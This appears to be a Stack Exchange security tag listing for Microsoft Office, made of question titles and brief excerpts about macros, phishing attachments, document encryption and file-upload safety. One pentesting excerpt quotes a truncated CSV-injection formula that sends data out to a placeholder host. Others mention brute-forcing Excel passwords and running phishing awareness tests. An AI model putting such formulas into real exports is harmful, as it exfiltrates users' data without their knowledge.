Questions tagged [office]
Microsoft Office is an office software suite that includes Word, Excel, Power Point, Access and Outlook.
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Accidently opened a phishing email .docx attachment on my iPhone, should I worry?
Two days ago, I received an email saying as object "March rent" in French. It says time to pay my rent for the month of March, and got the email March 1st... I thought this was my landlord ...
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office 365 security
MS is forcing companies to their hosted office/exchange product. I really have not seen any deep discussion or article discussing why I should trust MS to keep my emails secure. I have zero doubt that ...
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How secure is it to use Google Docs or MS Office online version to share data?
How safe/secure is it to use Google Docs or MS Office online to share data?
That is, if Alice create a new spreadsheet and inserts data into that document and then invites Bob to access that ...
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How do Microsoft's unmanaged device access controls work?
Microsoft provides several different services that check to see if you are on an untrusted device, even when accessing them from the browser. For example, they can be banned from SharePoint and ...
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Is it safe to view infected word documents in office online?
Can viewing and editing a potentially infected microsoft word document (with images inside) on a web-based platform like office online (OneDrive) infect my pc? How does the browser running on my ...
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When file hash not available, how to best check authenticity of a file?
Normally, The Document Foundation (TDF) publishes the SHA-256 and SHA-1 hashes, along with the MD5 checksum, for all LibreOffice releases. For example, see this.
However, for their current release (...
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Decrypting xls file using John The Ripper
I need to open an excel file and see its contents which is locked with password. As I made some research on the internet, I have found that only way was a brute force attack. So I used John the Ripper ...
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Can a text file disguised as .xlsm be malicious?
A hour ago we receive a suspicious mail targeting some of our mailing lists. It contains a .zip file, itself containing a .xlsm file.
This .xlsm file appears to be recognized as an ASCII text file ...
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Can I be sure a Word document is safe if it doesn't have macros
I am aware that MS Word documents can be potentially dangerous due to the executable macros contained within them.
But for a particular document, I have opened the macros and can see there are none. ...
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How do you check if someone faked the last modified date or not? [closed]
I think one of my students faked the modified date of his word file. He's last modified date was exactly the deadline of 13:00:00 (even the seconds are zero). How do i figure this out?? I want to know ...
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How I can read and handle MS Office documents, such as doc/ppt files, securely?
I've heard of too many horror stories of people opening a seemingly innocent docx or pptx file that they've got from a business partner, only to find out that it had embedded malware inside. What ...
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Microsoft Word to secure stored data
I understand the purpose of Microsoft Word is not to store secret information.
However, I would rather spread my secret information between a Password Manager and a Word document, each of which has ...
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Why aren't Microsoft Office macros sandboxed?
For about 20+ years now, Microsoft Office macros have been used to spread malware. Even in recent years those threats have not disappeared and they often resurface in one form or another e.g. World’s ...
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Are protected Office 2007+ files secure?
If I can decrypt or "unprotect" a sheet or a workbook in Excel in a matter of 2-3 minutes (faster then it usually takes to read the linked article!), by a means of simple .zip archive ...
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How can I be attacked by opening a corrupt MS Office document?
When opening a corrupt Microsoft Office document, I get a prompt that says something along the lines of:
Excel [or Word/PowerPoint/etc] has found unreadable content on 'filename.xslx'. Do you wish ...
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How to tell if Microsoft office has been patched for a vulnerability?
The NIST database holds records for Microsoft Office vulnerabilities, however it only lists the application (i.e. Word 2016) and the service pack. Microsoft release hotfixes outside of service packs, ...
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Does "=cmd" CSV injection still exist in 2020?
I'm currently pentesting a web application on which a user can generate a CSV. I managed to exfiltrate data via CSV injection using a payload such as:
=WEBSERVICE(CONCAT("http://example.com/", CONCAT(...
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Do any API-based CASB use native DLP features in cloud applications?
I think I've understood what CASB are and the differences between proxy/API-based architectures. What is still unclear to me is how exactly API-based CASB function.
I know most products use APIs to ...
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How to "unprotect" malicious workbook without knowing password
Right now I'm looking at an office document (most likely rtf based on it exploiting equation editor) that opens just fine when you double click it, but on further examination in a hex editor and in ...
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Why an invisible iframe to logout from Office in a Office phishing?
In a phishing page for Office account (login mimicking the normal login page and stealing the credentials through a simple ajax request, then navigating to a dummy public google doc), attackers have ...
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Is it safe to enable - Trust Access to the VBA object model - Microsoft Office
I am trying to run a VBS script which calls a macro and won't run unless I click "Trust Access to the VBA object model" in Microsoft Office Trust Center. I forget where I read it but I thought I read ...
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What are the pitfalls of bypassing a proxy to access cloud services such as G Suite or Office 365?
According to a TechNet article published by Microsoft, one of its recommendations is to bypass proxies to access Office 365.The basic premise is focused on performance as opposed to security.
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Does the file encryption of Microsoft Office guarantee integrity?
I stumbled upon Microsoft Office's feature of file encryption.
For storing sensitive data in the cloud, e.g. DropBox, this sounds like a nice feature. Reading that the encryption is AES-128 in CBC ...
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How can I securely edit an Office file that I downloaded from the Internet?
When I open an Office file such as a Word file that was downloaded from the internet, it warns me that it might not be safe to edit unless I trust the file source, but what if I actually need the file ...
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Can Gmail read password protected .docx files?
Can Gmail read MS-Word .docx 2011 (OS X) files that require a password to open?
As I understand it, Gmail servers read emails and attachments in their efforts to characterize users for advertising ...
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Social Engineering Attack awareness using .doc and spoofed email
Need advise for our company experiment. We are planning to observe the security awareness among our staff. I have an idea but lacking of knowledge on how to do it. I want to create spoofed email and ...
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Exfiltrate data by injecting functions in Excel 2007 file rendered with PHP
I need to extract data from inside an Excel fille using Excel 2007 functions.
The concept is somewhat related to stored XSS type of data exfiltration only that I need to use Excel 2007 functions (...
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How should I approach my security team regarding aggressive group policies (VBA / macro blocking)?
My security organization has responded to the threat of macro-based viruses by changing all copies of Excel to no longer run macros/VBA scripts. Through some quick research, it looks like there are ...
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Can an XXE attack be carried out from within an docx file? [closed]
Is XXE possible in a file upload with .docx files?
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External command execution in Excel formulas
It's known that MS Excel functionality of external references will allow executing arbitrary commands from its formulas with appropriate security warnings and confirmation required from the user.
E.g....
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Remote Worker Sharepoint Access Permissions
Here is the problem encountered at my company:
We have set of very disorganized files on a Microsoft Sharepoint server
I have one person going through and reorganizing everything. In terms of ...
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How to deal with Office documents in file upload?
When creating or testing a file upload functionality how do you deal with Office documents assuming that the client wants to be able to upload .doc/.docx/.xls/.xlsx?
I have found quite some reading ...
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How can I hide a DAO or ADODB connection string in a Word document or template?
MS Word documents have a Visual Basic component that allows processes to be executed when specified events occur.
One of these events is Document_New(), that can be used like this to pop up a "...
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Check if a password for encrypted ms office document is correct
I am writing a Python program to decrypt a MS Office encrypted document.
Referencing This GitHub Repo for reference.
Now what I want to do is try bunch of commonly used passwords against the document....
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(Why) does an encrypted MS Office 2010 Spreadsheet (need to) have the password hash "written down"?
To my naive mind, it seems like the encryption of a document with AES should go like this:
HumanPassword ---|hash|--> key ---|AES|--> Ciphertext
plaintext|--^
And the ...
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Blocking Email Attachment download from outside company in Office 365
In Office 365, Emails can accessed from anywhere (within or outside of the company).
Want to block Email attachment download from outside of the company.
Emails should be accessible from outside of ...
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Actions to take after suspect PDF was opened
A colleague of mine opened a seemingly genuine PDF attached to an email. We run Office365 and normally malicious attachments are filtered out but this one slipped through. The PDF was opened on an ...
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How can I decrypt a Word document that I know the password to without opening it in a word processor?
I got a question that I thought would be simple but it is proving to be more difficult that I thought it would be.
I got a malicious password protected Word document that I want to analyze for IoCs. ...
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Macro injection in different Excel versions
I have found a nice macro injection vulnerability in an Excel export functionality. I can inject =1+1 (or worse) into the exported Excel file.
But when opening the file in Excel the formula isn't ...
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Site has broken HTTPS, how can I safely visualize hosted office documents? [duplicate]
A website that contains sources I need for my work has broken HTTPS (certificate signed for a different domain). This makes me think that a MITM attack could be feasible.
As the sources are office ...
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Do VB Macro viruses (ie macros in Microsoft office documents) affect modern Linux systems?
In the area I live and work, viruses in outdated and pirated windows systems are absolutely rampant. (Moreso even than in the "normal" world). It's utter madness to plug in a USB drive anywhere. ...
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Checklist for returning a work laptop
Submitting on mobile can update later with more details.
You've had a laptop provided to you by your workplace, you may have also used it for some personal web traffic. You've been asked to return it ...
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Is it safe to open word document sent in email in LibreOffice
It's not safe to open doc emails attachements in Microsoft Office, because of evil macros. Is it safe to open same file in Libre office or does it also execute macros?
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Can Google Docs be used to “sanitize” a Word or Excel document?
Sometimes I have to download some Word or Excel documents from uncredible sites. I need not only to read but also to edit them. I heard that the Microsoft Office suite is a very popular attack vector. ...
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What Is The Authorities' Stance On The Use of Microsoft Office For Sensitive Information?
I want to know what the U.S. (or E.U. countries) policy is towards the use of Microsoft Office (particularly local versions) and potentially sensitive information requiring clearance. In particular, ...
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Is is possible to modify the Alternate Data Stream (ADS) in MS Word with Protected View?
Is it possible to modify the Alternate Data Stream (ADS) to prevent .docx to be opened in Protected View for files downloaded from Internet.
When is Protected View used?
Since Protected View ...
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How does the recent discovered PowerPoint exploit work?
One of the recent blogs in Project Zero described a bug in the Symantec virus scanner in relation with PowerPoint files.
But I do not understand how the rounding up to the length of the cache can ...
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Server side Excel file security
I need to write an application that will interact with files uploaded from untrusted sources (users). Specs say I must support CSV and Excel. If I allow a user to upload an Excel file to the server ...
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Identify if a certain domain is using Office 365 or Google Mail
I have a list of e-mail domains that i wanted to confirm if they're using Office 365 or Google Mail for mail. Checking MX using Nslookup can do the job but I noted that a few companies will use an ...
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How can I safely view the code of a VBA macro?
I have received a phishing email with the usual bogus bill in the form of a Word document. I am curious about what the probable virus wants to do so I would like to inspect the code.
At the moment ...
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